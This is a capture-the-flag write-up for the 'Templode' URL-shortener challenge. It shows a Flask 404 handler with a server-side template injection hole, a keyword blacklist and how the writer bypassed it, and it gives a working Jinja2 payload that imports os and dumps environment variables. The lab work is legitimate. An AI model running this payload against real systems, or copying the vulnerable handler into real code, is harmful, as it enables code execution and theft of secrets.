Templode
Description
"We don't trust any URL shortener, so we decided to make our own."
Finding the SSTI Vulnerability
I started by looking through app.py
, and one thing caught my attention—the 404 error handler:
@app.errorhandler(404) def page_not_found(e): path = request.path.lstrip('/') template = ''' <h1>404 - Page Not Found</h1> <p>The requested URL /''' + path + ''' was not found on this server.</p> <p>Please check the URL or go back to the <a href="/">homepage</a>.</p> ''' return render_template_string(template), 404
I immediately recognized the issue here. The function takes path
, which comes directly from the URL, and injects it into render_template_string()
. This is a Server-Side Template Injection (SSTI) vulnerability, meaning I could inject Jinja2 expressions and execute arbitrary code.
Bypassing the Blacklist
Before jumping into exploitation, I checked redirect_url()
, which had a blacklist blocking certain keywords:
blacklist = ['{{'', 'class', 'attr', 'mro', '[', 'import', 'os', 'system', 'subclasses', 'mro', 'request', 'args', 'eval', 'exec']
At first, it seemed restrictive, but then I discovered a bypass—if I used a multi-segment URL like /aa/payload
, I could slip through.
Exploiting the Vulnerability
I tried simple SSTI payloads like {{ 7 * 7 }}
, but they were blocked, returning either a 404 or 400. Instead of manually testing each payload, I used an automated payload-fuzzing tool:
🔗 https://www.ddosi.org/fenjing/
Eventually, I found a working payload that allowed me to dump environment variables:
http://aa5bc6827feebb365d40a.playat.flagyard.com/aaa/%7B%7B((lipsum.__globals__.__builtins__.__import__('os')).environ)%7D%7D
Understanding the Payload
The decoded payload has multiple components working together:
{{ ((lipsum.__globals__.__builtins__.__import__('os')).environ) }}
lipsum.__globals__
→ Accesses global variables in Jinja2..__builtins__
→ Gives access to Python built-in functions..__import__('os')
→ Imports theos
module..environ
→ Dumps environment variables, where the flag was stored.
This successfully printed the flag from the environment variables.
Flag
FlagY{************}